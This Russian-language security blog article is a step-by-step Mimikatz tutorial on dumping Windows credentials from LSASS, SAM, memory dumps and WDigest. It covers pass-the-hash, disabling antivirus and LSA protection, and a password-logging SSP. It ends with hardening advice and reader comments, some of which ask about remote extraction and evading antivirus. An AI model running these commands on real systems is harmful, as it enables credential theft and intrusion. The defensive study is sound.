В этой статье, написанной в рамках серии, посвященной обеспечению безопасности Windows-систем, мы познакомимся с достаточно простой методикой получения паролей и/или хешей паролей пользователей Windows с помощью утилиты Mimikatz.
- Основы использования Mimikatz
- Извлекаем хэши паролей пользователей из памяти Windows
- Получение хешей паролей пользователей из дампа памяти Windows
- Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
- Получить пароли пользователей Windows в открытом виде через WDigest
- Извлекаем пароли локальных пользователей Windows из SAM
- Использование Mimikatz в pass-the-hash атаках
- Просмотр сохраненных паролей в Windows
- Дампим пароли при входе в Windows
- Как защитить Windows от извлечения паролей из памяти?
Утилита mimikatz используется извлечения паролей, хешей, билетов Kerberos и других типов учетных данных пользователей из памяти Windows. Позволяет реализовать атаки Pass-the-Hash (PtH) and Pass-the-Ticket (PtT). Скачать Mimikatz можно с GitHub https://github.com/gentilkiwi/mimikatz/releases (в архиве mimikatz_trunk.zip доступны версии mimikatz.exe для x86 и x64). Большинство антивирусов (в том числе встроенный Microsoft Defender) реагируют на Mimikatz как на потенциально опасное/вредоносное ПО (HackTool:Win32/Mimikatz.D / HackTool:Win32/Mimikatz!MSR), поэтому придется либо добавить утилиту в исключения, либо полностью отключить антивирус.
Основы использования Mimikatz
Mimikatz используется для извлечения паролей, хешей, PIN-кодов и билетов Kerberos из памяти Windows, широко используемый в пентестинге и кибербезопасности.
При запуске утилиты
mimikats.exe
, открывается интерактивная консоль, в которой можно выполнять команды. Утилита содержит несколько модулей, для реализации различных техник. Основные модули:
- sekurlsa – основной модуль для извлечения паролей, хешей и прочих учетных данных из памяти процесса lsass.exe. Позволяет получить логины и пароли пользователей.
- kerberos — модуль для работы с билетами Kerberos: просмотр, извлечение, инъекция и атаки типа Pass-the-Ticket
- crypto — модуль для работы с сертификатами и криптографическими объектами.
- vault – позволяет извлечь сохраненные учетные данные из WindowsCredentialManager
- lsadump – для извлечения хешей паролей и секретов из базы данных безопасности (LSA), в том числе из SAM
- process/mimikatz используются для манипуляций с процессами, токенами безопасности и повышения прав.
Основные тип команд (атак) mimikats:
-
privilege::debug
– получить привилегии Debug в текущей сессии. Эти права нужны необходима для выполнения большинства операций инструмента, связанных с доступом к защищенным системным процессам и данным, такими как процесс LSASS. -
sekurlsa::logonpasswords
– извлечь из памяти кэшированные пароли, NTLM хэши, билеты Kerberos -
lsadump::sam
– извлечь NTLM хэши локальных пользователей из хранилища SAM -
kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21... /krbtgt:<KRBTGT_HASH> /ptt
– атака с использованием поддельного Kerberos Ticket Granting Ticket (TGT). -
sekurlsa::pth /user:Admin /domain:WORKGROUP /ntlm:<NTLM_HASH> /run:cmd.exe
– позволяет использовать полученный хэш пароля (без его декодирования) для аутентификации и запуска команд под учетной записью пользователя без знания реального пароля.
Извлекаем хэши паролей пользователей из памяти Windows
Попробуем извлечь хэши паролей всех залогиненых пользователей из памяти Windows (процесса lsass.exe, Local Security Authority Subsystem Service) на RDS сервере с Windows Server 2016.
- Запустите Mimikatz.exe с правами администратора;
- В контексте утилиты выполните команды:
mimikatz # privilege::debug
Данная команда предоставит текущей учетной записи права отладки процессов (SeDebugPrivilege), необходимые для доступа к памяти системных процессов -
mimikatz # sekurlsa::logonPasswords full
Данная команда вернет довольно большой список. Найдите в нем учетные записи пользователей. - В моем случае на сервере кроме моей учетной записи есть активные сессии двух пользователей: anovach и administrator
- Скопируйте их NTLM хэши (выделено на скриншоте). В моем случае получились такие :
anovach (NTLM: 79acff649b7a3076b1cb6a50b8758ca8) Administrator (NTLM: e19ccf75ee54e06b06a5907af13cef42)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit" >> c:\tools\mimikatz\output.txt
Теперь воспользуйтесь любым офлайн (например, утилита hashcat в Kali Linux) или онлайн сервисом по расшифровке NTLM хэшей. Я воспользуюсь сервисом https://crackstation.net/. Сервис быстро нашел значения паролей для этих NTLM хэшей. Т.е. мы получили пароли пользователей в открытом виде (представьте, что один из них — это администратор домена…).
В данном случае mimikatz позволит легко получить NTLM хеши всех активных пользователей! Все это благодаря тому, что на данном компьютере разрешено использовать режим отладки, выставляя флаг SeDebugPrivilege для нужного процесса. В этом режиме программы могут получать низкоуровневый доступ к памяти процессов, запущенных от имени системы.
Получение хешей паролей пользователей из дампа памяти Windows
Рассмотренная выше методика получения хэшей пароля не сработает, если на хосте установлен антивирус, блокирующий инъекцию. Например, в Windows 11, доступ к памяти LSASS невозможен, даже с правами SeDebugPrivilege, из-за усиленных механизмов защиты, таких как Credential Guard и изоляция процесса LSASS с помощью виртуализации. При попытке выполнить команду
sekurlsa::logonPasswords full
появится ошибка:
mimikatz: ERROR kuhl_m_sekurlsa_acquireLSA ; Handle on memory (0x00000005)
В этом случае придется сначала создать дамп памяти процесса LSASS на целевом сервере, и затем на другом компьютере с помощью mimikatz извлечь из него хэши пароли для сессий пользователей.
Есть несколько способов создать дамп памяти процесса в Windows. В самом простом случае просто запустите Task Manager, найдите процесс lsass.exe, щелкните по нему правой клавишей и выберите Create dump file.
Windows сохраните дам памяти в указанную папку.
Однако, начиная с Windows 8.1. системный процесс lsass.exe защищен от снятия дампа памяти с помощью механизма RunAsPPL (Protected Process Lighе). Если открыть свойства процесса lsass.exe в Process Explorer, вы обнаружите что статус его защиты PsProtectedSignerLsa—Light.
Таким образом, для снятия дампа памяти придется использовать другие утилиты такие как WSASS или Nanodump (но сначала придется отключить защиту LSA через реестр, изменив значения параметров RunAsPPL = 0 и RunAsPPLBoot = 0):
nanodump.x64.exe -w C:\Windows\Temp\lsass_dump.bin -v
В старых версиях Windows также можно отключить защиту PPL для процесса LSASS через mimikatz с помощью загрузки драйвера mimidriver.sys:
mimikatz # !+
mimikatz # !processprotect /process:lsass.exe /remove
mimikatz # privilege::debug
mimikatz # token::elevate
mimikatz # sekurlsa::logonpasswords
Проанализируйте полученный дамп памяти с помощью mimikatz (можно на другом компьютере):
Mimikatz "sekurlsa::minidump C:\Users\anovach\AppData\Local\Temp\lsass.DMP"
Вывести информацию о пользователях, и хэшах их паролей из сохраненного дампа:
# sekurlsa::logonPasswords
Вы можете получить дамп памяти с удаленного компьютера с помощью psexec, или через WinRM (при наличии прав администратора), и затем из него пароли пользователей.
Также для получения дампа можно использовать утилиту procdump от Sysinterals.
procdump -ma lsass.exe lsass.dmp
Дамп памяти для процесса LSASS можно получить с помощью PowerShell функции Out-Minidump.ps1 . Импортируйте функцию Out-Minidump в PoSh и создайте дамп памяти процесса LSASS:
Import-Module .\OutMiniDump.ps1
Get-Process lsass | Out-Minidump
Получение паролей пользователей из файлов виртуальных машины и файлов гибернации
Также возможно извлечь пароли пользователей из файлов дампов памяти, файлов гибернации системы (hiberfil.sys) и. vmem файлов виртуальных машин (файлы подкачки виртуальных машин и их снапшоты).
Для этого понадобится пакет Debugging Tool for Windows (WinDbg), сам mimikatz и утилита преобразования. vmem в файл дампа памяти (для Hyper-V это может быть vm2dmp.exe или MoonSols Windows Memory toolkit для vmem файлов VMWare).
Например, чтобы преобразовать файл подкачки vmem виртуальной машины VMWare в дамп, выполните команду:
bin2dmp.exe "winsrv2008r2.vmem" vmware.dmp
Полученный дамп откройте в WinDbg (File -> Open Crash Dump). Загрузите библиотеку mimikatz с именем mimilib.dll (используйте версию библиотеки в зависимости от разрядности Windows):
.load mimilib.dll
Найдите в дампе процесс lsass.exe:
!process 0 0 lsass.exe
И наконец, выполните:
.process /r /p fffffa800e0b3b30
!mimikatz
В результате вы получите список пользователей Windows, и NTLM хэши их паролей, или даже пароли в открытом виде.
Получить пароли пользователей Windows в открытом виде через WDigest
В старых версиях Windows по умолчанию разрешалась дайджест-аутентификации (HTTP Digest Authentication) с помощью протокола WDigest. Основной недостаток этого протокола – он использует пароль пользователя в открытом виде, а не виде его хэша. Mimikatz позволяет извлечь эти пароли из памяти процесса LSASS.EXE.
Протокол WDigest по-умолчанию отключен начиная с Windows 8.1 и Windows Server 2012R2, но не удален окончательно. Если у вас есть права администратора на компьютере, вы можете включить протокол WDiget, дождаться входа пользователей и получить их пароли.
Включите поддержку Wdigest:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1
gpupdate /force
Дождитесь входа пользователей и получите их пароли через mimikatz:
privilege::debug
sekurlsa::wdigest
Как вы видите, в секции wdigest содержится пароль пользователя в открытом виде:
Извлекаем пароли локальных пользователей Windows из SAM
С помощью mimikatz вы можете извлечь хэши паролей локальных пользователей Windows из системной базы SAM (Security Account Manager).
Можно извлечь NTLM хэши всех локальных пользователей:
privilege::debug
token::elevate
lsadump::sam
И сразу по полученному NTLM хэшу можно получить пароль пользователя (если не сложный).
Либо можно сначала экспортировать содержимое SAM из реестра в файлы и проанализивать файлы уже на другом компьютере:
- Экспортируйте содержимое веток реестра SYSTEM и SAM в файлы:
reg save hklm\sam c:\tmp\sam.hiv
reg save hklm\security c:\tmp\sec.hiv - Затем с помощью Mimikatz извлеките хэши паролей:
privilege::debug
token::elevate
lsadump::sam c:\tmp\sam.hiv c:\tmp\sec.hiv
Использование Mimikatz в pass-the-hash атаках
Если у пользователя используется достаточно сложный пароль, и получить его быстро не удается, можно использовать Mimikatz для атаки pass-the-hash (повторное использование хэша). В этом случае хэш может использовать для запуска процессов от имени пользователя. Например, получив NTLM хэш пароля пользователя, следующая команда запустит командную строку от имени привилегированного аккаунта:
privilege::debug
sekurlsa::pth /user:Administrator /domain:srv01 /ntlm:e19ccf75ee54e06b06a5907af13cef42 /run:powershell.exe
Просмотр сохраненных паролей в Windows
Пользователи могут сохранять пароли в Windows Credential Manager (это могут быть пароли для доступа к удаленным компьютерам, сайтам, пароли для RDP подключений в формате TERMSRV/server1). Mimikatz может извлечь эти пароли из Credential Manager:
privilege::debug
sekurlsa::credman
Как вы видите, сохранённый пароль показан в секции credman.
Дампим пароли при входе в Windows
Еще один интересный способ дампа паролей в Windows заключается в использовании дополнительного SSP провайдера (Security Support Provider).
- Скопируйте файл библиотеки Mimikatz mimilib.dll в папку C:\Windows\System32\.
- Зарегистрируйте дополнительного провайдер командой:
reg add "hklm\system\currentcontrolset\control\lsa" /v "Security Packages" /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /t REG_MULTI_SZ
- При входе каждого пользователя в Windows его пароль будет записываться в файл kiwissp.log. Можно вывести все пароли через PowerShell:
Get-Content C:\Windows\System32\kiwissp.log
Как защитить Windows от извлечения паролей из памяти?
В Windows 8.1 и Server 2012 R2 (и выше) возможности по извлечению паролей через LSASS ограничены. Так, по-умолчанию в этих системах в памяти не хранятся LM хэш и пароли в открытом виде. Этот же функционал бэкпортирован и на более ранние версии Windows (7/8/2008R2/2012), в которых нужно установить специальное обновление KB2871997 (обновление дает и другие возможности усилить безопасность системы) и отключить WDigest в реестре (в ветке HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest установить параметр DWORD реестра UseLogonCredential равным 0).
Если после установки обновления и ключа UseLogonCredential попробовать извлечь пароли из памяти, вы увидите, что mimikatz с помощью команды creds_wdigest не сможет извлечь пароли и хэши.
В инструментарии mimikatz есть и другие инструменты получения паролей и их хэшей из памяти (WDigest, LM-hash, NTLM-hash, модуль для захвата билетов Kerberos), поэтому в качестве рекомендаций рекомендуется реализовать следующие меры:
- Регулярно устанавливайте обновления безопасности и переходит на более новые версии Windows (к примеру встроенные защитные механизмы Windows 11 и Windows Server 2025, в том числе Credential Guard, успешно защищают от почти всех техник mimikatz)
- Запретить хранить пароли с использование обратимого шифрования (Reversible Encryption);
- Отключите Wdiget;
- Отключить NTLM
- Запретить использование сохранённых паролей в Credential Manager
- Запретить кэшировать учетные данные доменных пользователей (ключ CachedLogonsCount и политика Interactive logon: Number of previous logons to cache)
- Если функциональный уровень домена не ниже Windows Server 2012 R2, можно добавить учетные записи администраторов в специальную группу Protected Users ote. В этом случае NTLM хэши для таких пользователей создаваться не будут.
- Включите защиту LSA процесса (данный параметр разрешит доступ к LSASS памяти только процессам, подписанным Microsoft):
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v RunAsPPL /t REG_DWORD /d 00000001 /f
Можно распространить этот параметр реестра на компьютеры через GPO. - Используйте Credential Guard для защиты содержимого LSA процесса;
- Запретите получение debug полномочий даже для администраторов (GPO: Windows Settings -> Security Settings -> Local Policies -> User Rights Assignment -> Debug programs). Впрочем, это легко обходится при наличии прав SYSTEM или так.
Выводы. Еще раз напоминаем прописные истины:
- Не стоит использовать одинаковые пароли для разных сервисов (особенно RDP/RDS хостов, находящихся во владении третьих лиц);
- Задумайтесь о безопасности ваших паролей и данных, находящихся на виртуальных машинах в облаках, ведь вы не можете быть уверенными в том, у кого еще имеется доступ к гипервизорам и хранилищу, на котором расположены файлы виртуальных машины;
- Минимизируйте в своих системах количество учетных записей, обладающих правами локального администратора
- Никогда не заходите с учетной записью администратора домена на сервера и компьютеры пользователей.
Mimikatz не вводить DLL вообще, начиная с версии 2.0.
Спасибо авторам за утилиту и за уточнение 🙂
В 8 не отображает пароли)
Windows 8.1 не сохраняет пароли в памяти. При активации он находит
В Server 2008 R2 тоже не выводит пароли.
Испытано 64-разрядной версии.
mimikatz 2.0 alpha (arch x64)
API — Windows NT 6.1 build 7601 service pack 1.0 (arch x64)
Скриншот из строя?
По крайней мере, терминальных пользователей.
Спасибо за статью! Подскажите как «Импоровать функцию Out-Minidump в PoSh» ?
Скачайте указанный файл и сохраните на диске. Чтобы импортировать функцию Posh из файла, выполните команду:
Import-Module C:\Script\Out-Minidump.ps1
В итоге функция Out-Minidump будет доступна в текущей сессии Posh
В «Минидампы» также может быть сделано непосредственно в «Task Manager» или «ProcDump» Microsoft 😉
you’re right. dump can be obtained by such methods too
You rock ! Thank you for great articles and you for the effort to answer me in English!
Здравствуйте, я столкнулся с проблемой в программе mimikatz. Она не показывает пароль. То есть просто чистая строка после «password:». Правда после неё идёт графа «kerberos», которой раньше не было, но и после неё ничего не пишет.
Вот что происходит:
1)Отключаю антивирус
2)Открываю mimikatz от имени администратора
3)privilege::debug (работает)
4)sekurlsa::logonpasswords full
Показывает много чего, но пароль — нет.
Я попытался перенести командой log в txt файл, но то же самое — вот скопированная строчка из того txt файла:
* Username : Admin
* Domain : HP4540S-F3R
* Password :
kerberos :
MImikatz может не показывать пароли по разным причинам. Компьютер в домене (какие политики применяются)? Какая версия Windows?
Какое значение ключа UseLogonCredential в реестре?
В общем все очень сильно зависит от окружения.
Hоутбук один, Windows 7, третье не знаю где искать.
Скажите, что можно попробовать сделать для корректной работы?
Здравствуйте, автор! а как с помощью Mimikatz можно с удаленного компьютера извлечь пароль пользователя в домене
Права админа на удаленном компе есть? Или режим кул хацкер нужно включать?
🙂
Права админа на удаленном компе есть, а если прав админа нет, то не получиться? а что такое режим кул хацкер?
уважаемый автор статьи, админы и хакеры!!! есть инструкция, как с помощью Mimikatz и средств WMI (Windows Management Instrumentation) можно с удаленного компьютера извлечь пароль пользователя в домене?
на удаленном компе есть права админа
Наверно проще всего запустить в интерактивном режиме удаленный psexec и в его консоли запустить утилиту mimikatz (команды для сбора данных пользователей есть в этой статье). Это в общих словах.
Что конкретно у вас получится — зависит от версии ОС, антивируса, правил межсетевого экрана и т.д.
Здравствуйте! покажите пожалуйста на примере (скриншотами) как сделать эту процедуру, как зайти на удаленный компьютер через psexec и в ее консоли запустить mimikatz, а если mimikatz установлен на компе, с которого мы подключаемся к удаленному компу?
Общая схема: закидываете на удаленный компьютер mimikatz, подключаетесь к компьютеру через psexec. Запускаете как указано здесь и смотрите вывод. В зависимости от версии ОС и примененных политик безопасности могут быть нюансы.
Эта задачка на общую эрудицию сисадмина. Никаких сверхсложных технологий.
Вам показали инструменты, как и использовать вместе — дело техники.
Но писать инструкцию с 0 для начинающих на голом энтузиазме — извиняйте…. Я ценю свое время.
Здравствуйте, уважаемые админы! как можно увидеть пароль сохраненные в Google Chrome, если срабатывает безопасность windows и требует ввести учетку и пароль данного пользователя, а пароль неизвестен, или можно через live-cd с загрузочной флешкой WinPE c помощью ChromePass узнать пароли в браузере Google Chrome?
а если на удаленном компе стоит антивирус и он сразу удаляет mimikatz, то как его можно закинуть на удаленный комп?
почему не показывает mimikatz пароли с помощью дамп памяти процесса LSASS? используется windows 10, в этой статье проверяли только на windows 7?
подскажите как скачать в яндексе эту прогу
он просто остановляет загрузку
ERROR kuhl_m_securlsa_acquireLSA ; Handle on memory (0x00000003)
после команды sekurlsa::logonPasswords
Похоже у вас нет прав доступа к памяти lsass.
Уедитесь что у вас есть windows полномочия SeDebugPrivilege и вы запускаете консоль из0под админа.
Если не получится — попробуйте открыть cmd от имени System (https://winitpro.ru/index.php/2011/12/26/zapusk-cmd-ot-system-v-windows-7/) и выполнить команда mimikatz в ней
а если показал это
exit — Quit mimikatz
cls — Clear screen (doesn’t work with redirections, like PsExec)
answer — Answer to the Ultimate Question of Life, the Universe, and Everything
coffee — Please, make me a coffee!
sleep — Sleep an amount of milliseconds
log — Log mimikatz input/output to file
base64 — Switch file input/output base64
version — Display some version informations
cd — Change or display current directory
localtime — Displays system local date and time (OJ command)
hostname — Displays system local hostname
что делать?
это справка коммндной строки mimikatz
«Windows сохраните дам памяти в указанную папку» -> «Windows сохранит дамп памяти в указанную папку».
А можно встроенными средствами Windows (PS и др.) или SysInternals узнать хэш пароля учетной записи AD Windows 2008R2? Пользователь не залогинен.
Если есть доступ к базе данных AD, можно извлечь хэш из нее.
О, кстати, а как это сделать?